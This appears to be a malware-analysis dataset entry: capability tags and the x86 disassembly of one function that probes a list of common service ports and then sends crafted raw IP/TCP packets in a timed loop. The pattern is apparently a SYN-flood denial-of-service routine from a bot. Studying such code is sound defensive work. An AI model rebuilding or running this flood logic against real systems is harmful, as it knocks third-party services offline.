Function at 0x41e260
Capabilities:
Check for time delay via gettickcount
Create raw socket
Set socket configuration

Disassembly:
mov eax, 0x429301
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x140
push ebx
push esi
push edi
push 1
pop eax
push eax
xor esi, esi
push esi
push esi
push 0xff
push 3
pop ebx
push ebx
push 2
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], eax
call dword [sym.imp.WS2_32.dll_WSASocketA]
push 4
lea ecx, [ebp - 0x24]
push ecx
push 2
push esi
push eax
mov dword [0x43ef6c], eax
call dword [sym.imp.WS2_32.dll_setsockopt]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
pop ecx
push 0x1b
pop ecx
xor eax, eax
lea edi, [ebp - 0x148]
mov dword [ebp - 0x14c], esi
rep stosd dword es:[edi], eax
mov edi, 0x43c95c
push edi
lea ecx, [ebp - 0xb4]
mov dword [ebp - 0x9c], 0x401
mov dword [ebp - 0x98], 0x15
mov dword [ebp - 0x94], 0x16
mov dword [ebp - 0x90], 0x17
mov dword [ebp - 0x8c], 0x19
mov dword [ebp - 0x88], 0x35
mov dword [ebp - 0x84], 0x50
mov dword [ebp - 0x80], 0x51
mov dword [ebp - 0x7c], 0x58
mov dword [ebp - 0x78], 0x6e
mov dword [ebp - 0x74], 0x71
mov dword [ebp - 0x70], 0x77
mov dword [ebp - 0x6c], 0x87
mov dword [ebp - 0x68], 0x89
mov dword [ebp - 0x64], 0x8b
mov dword [ebp - 0x60], 0x8f
mov dword [ebp - 0x5c], 0x1bb
mov dword [ebp - 0x58], 0x1bd
mov dword [ebp - 0x54], 0x400
mov dword [ebp - 0x50], 0x599
mov dword [ebp - 0x4c], 0x5dc
mov dword [ebp - 0x48], 0x6b8
mov dword [ebp - 0x44], 0xcea
mov dword [ebp - 0x40], 0xd3d
mov dword [ebp - 0x3c], 0x1388
mov dword [ebp - 0x38], 0x1a0b
mov dword [ebp - 0x34], 0x1f40
mov dword [ebp - 0x30], 0x1f90
call fcn.0040bb72
push edi
lea ecx, [ebp - 0xdc]
mov dword [ebp - 4], 1
mov dword [ebp - 0x1c], esi
call fcn.0040bb72
mov dword [ebp - 0x2c], ebx
mov ebx, dword [sym.imp.WS2_32.dll_htons]
mov byte [ebp - 4], 2
mov dword [ebp - 0x28], 0xbb8
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x10]
lea edi, [ebp + eax - 0x9c]
xor eax, eax
mov ax, word [edi]
mov word [ebp - 0xc4], 2
push eax
call ebx
push esi
push 1
push 2
mov word [ebp - 0xc2], ax
call dword [sym.imp.WS2_32.dll_socket]
lea ecx, [ebp - 0x2c]
push ecx
push 0x10
lea ecx, [ebp - 0xc4]
push ecx
push eax
mov dword [ebp - 0x18], eax
call fcn.0041dffa
add esp, 0x10
push dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
call dword [sym.imp.WS2_32.dll_closesocket]
cmp dword [ebp - 0x14], esi
jne 0x41e44a
mov eax, dword [edi]
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx - 0x14c], eax
add dword [ebp - 0x10], 4
cmp dword [ebp - 0x10], 0x70
jl 0x41e3de
lea eax, [ebp - 0xb4]
push 0x4303e0
push eax
call fcn.0040bf67
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
pop ecx
pop ecx
call edi
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x14c]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], eax
call edi
sub eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, 0x3e8
div ecx
cmp eax, dword [ebp + 0x10]
ja 0x41e4e3
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp eax, esi
je 0x41e4c0
push eax
lea ecx, [ebp - 0xb4]
mov dword [ebp - 0x1c], eax
call fcn.0040c637
push eax
lea eax, [ebp - 0xb4]
push str._s_d
push eax
call fcn.0040bf67
add esp, 0x10
jmp 0x41e4d6
push 0xffff
push esi
call fcn.00411aba
pop ecx
pop ecx
push eax
call ebx
movzx eax, ax
mov dword [ebp - 0x1c], eax
inc dword [ebp - 0x10]
add dword [ebp - 0x14], 4
cmp dword [ebp - 0x10], 0x1c
jl 0x41e47e
push 0x28
push esi
push 0x43ef10
call sub.MSVCRT.dll_memset
mov edi, 0xffff
push edi
push 0x400
mov byte [0x43ef10], 0x45
mov byte [0x43ef19], 6
mov byte [0x43ef11], 8
call fcn.00411aba
add esp, 0x14
push eax
call ebx
push 0x28
mov word [0x43ef14], ax
call ebx
push dword [ebp + 0xc]
or byte [0x43ef18], 0xff
mov word [0x43ef12], ax
mov word [0x43ef16], si
call fcn.0041e73d
and byte [0x43ef31], 0
mov dword [0x43ef1c], eax
mov eax, dword [ebp + 0xc]
mov dword [0x43ef20], eax
mov dword [esp], 0x4000
call ebx
push edi
push esi
mov word [0x43ef32], ax
call fcn.00411aba
mov edx, eax
shl edx, 8
push edi
push esi
mov dword [ebp - 0x14], edx
call fcn.00411aba
mov ecx, dword [ebp - 0x14]
add esp, 0x10
add ecx, eax
push ecx
call dword [sym.imp.WS2_32.dll_htonl]
mov esi, dword [ebp + 0xc]
and dword [0x43ef2c], 0
and word [0x43ef36], 0
and byte [0x43ef50], 0
mov dword [0x43ef28], eax
mov al, byte [0x43ef30]
and al, 0xf
or al, 0x50
mov byte [0x43ef30], al
mov ax, word [ebp - 0x1c]
push 0x14
mov word [0x43ef26], ax
mov dword [0x43ef4c], esi
mov byte [0x43ef51], 6
call ebx
mov word [0x43ef52], ax
mov ax, word [0x43ef26]
mov dword [0x43ef3c], esi
xor esi, esi
mov word [0x43ef38], 2
mov word [0x43ef3a], ax
mov dword [ebp - 0x10], esi
jmp 0x41e5ff
mov edi, 0xffff
xor esi, esi
cmp dword [ebp - 0x10], esi
jne 0x41e62f
push edi
push esi
call fcn.00411aba
pop ecx
pop ecx
push eax
call ebx
mov word [0x43ef24], ax
mov eax, dword [0x43ef1c]
mov dword [0x43ef48], eax
mov byte [0x43ef31], 2
mov dword [0x43ef2c], esi
jmp 0x41e64a
push edi
push esi
mov byte [0x43ef31], 0x10
call fcn.00411aba
pop ecx
pop ecx
push eax
call ebx
movzx eax, ax
mov dword [0x43ef2c], eax
inc word [0x43ef14]
inc dword [0x43ef28]
mov ax, word [0x43ef26]
mov word [0x43ef1a], si
mov word [0x43ef34], si
push 5
pop ecx
mov esi, 0x43ef24
mov edi, 0x43ef54
rep movsd dword es:[edi], dword [esi]
push 0x14
mov esi, 0x43ef10
push esi
mov word [0x43ef3a], ax
call fcn.00415247
push 0x20
push 0x43ef48
mov word [0x43ef1a], ax
call fcn.00415247
add esp, 0x10
push 0x10
push 0x43ef38
push 0
push 0x28
push esi
push dword [0x43ef6c]
mov word [0x43ef34], ax
call dword [sym.imp.WS2_32.dll_sendto]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x3ff
jl 0x41e5f8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, 0x3e8
div ecx
cmp eax, dword [ebp + 0x10]
ja 0x41e6f7
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
jmp 0x41e4e3
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0xb4]
push eax
call fcn.0040bbbf
mov dword [ebp - 0x20], 1
lea ecx, [ebp - 0xdc]
mov byte [ebp - 4], 1
call fcn.0040bc75
and byte [ebp - 4], 0
lea ecx, [ebp - 0xb4]
call fcn.0040bc75
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret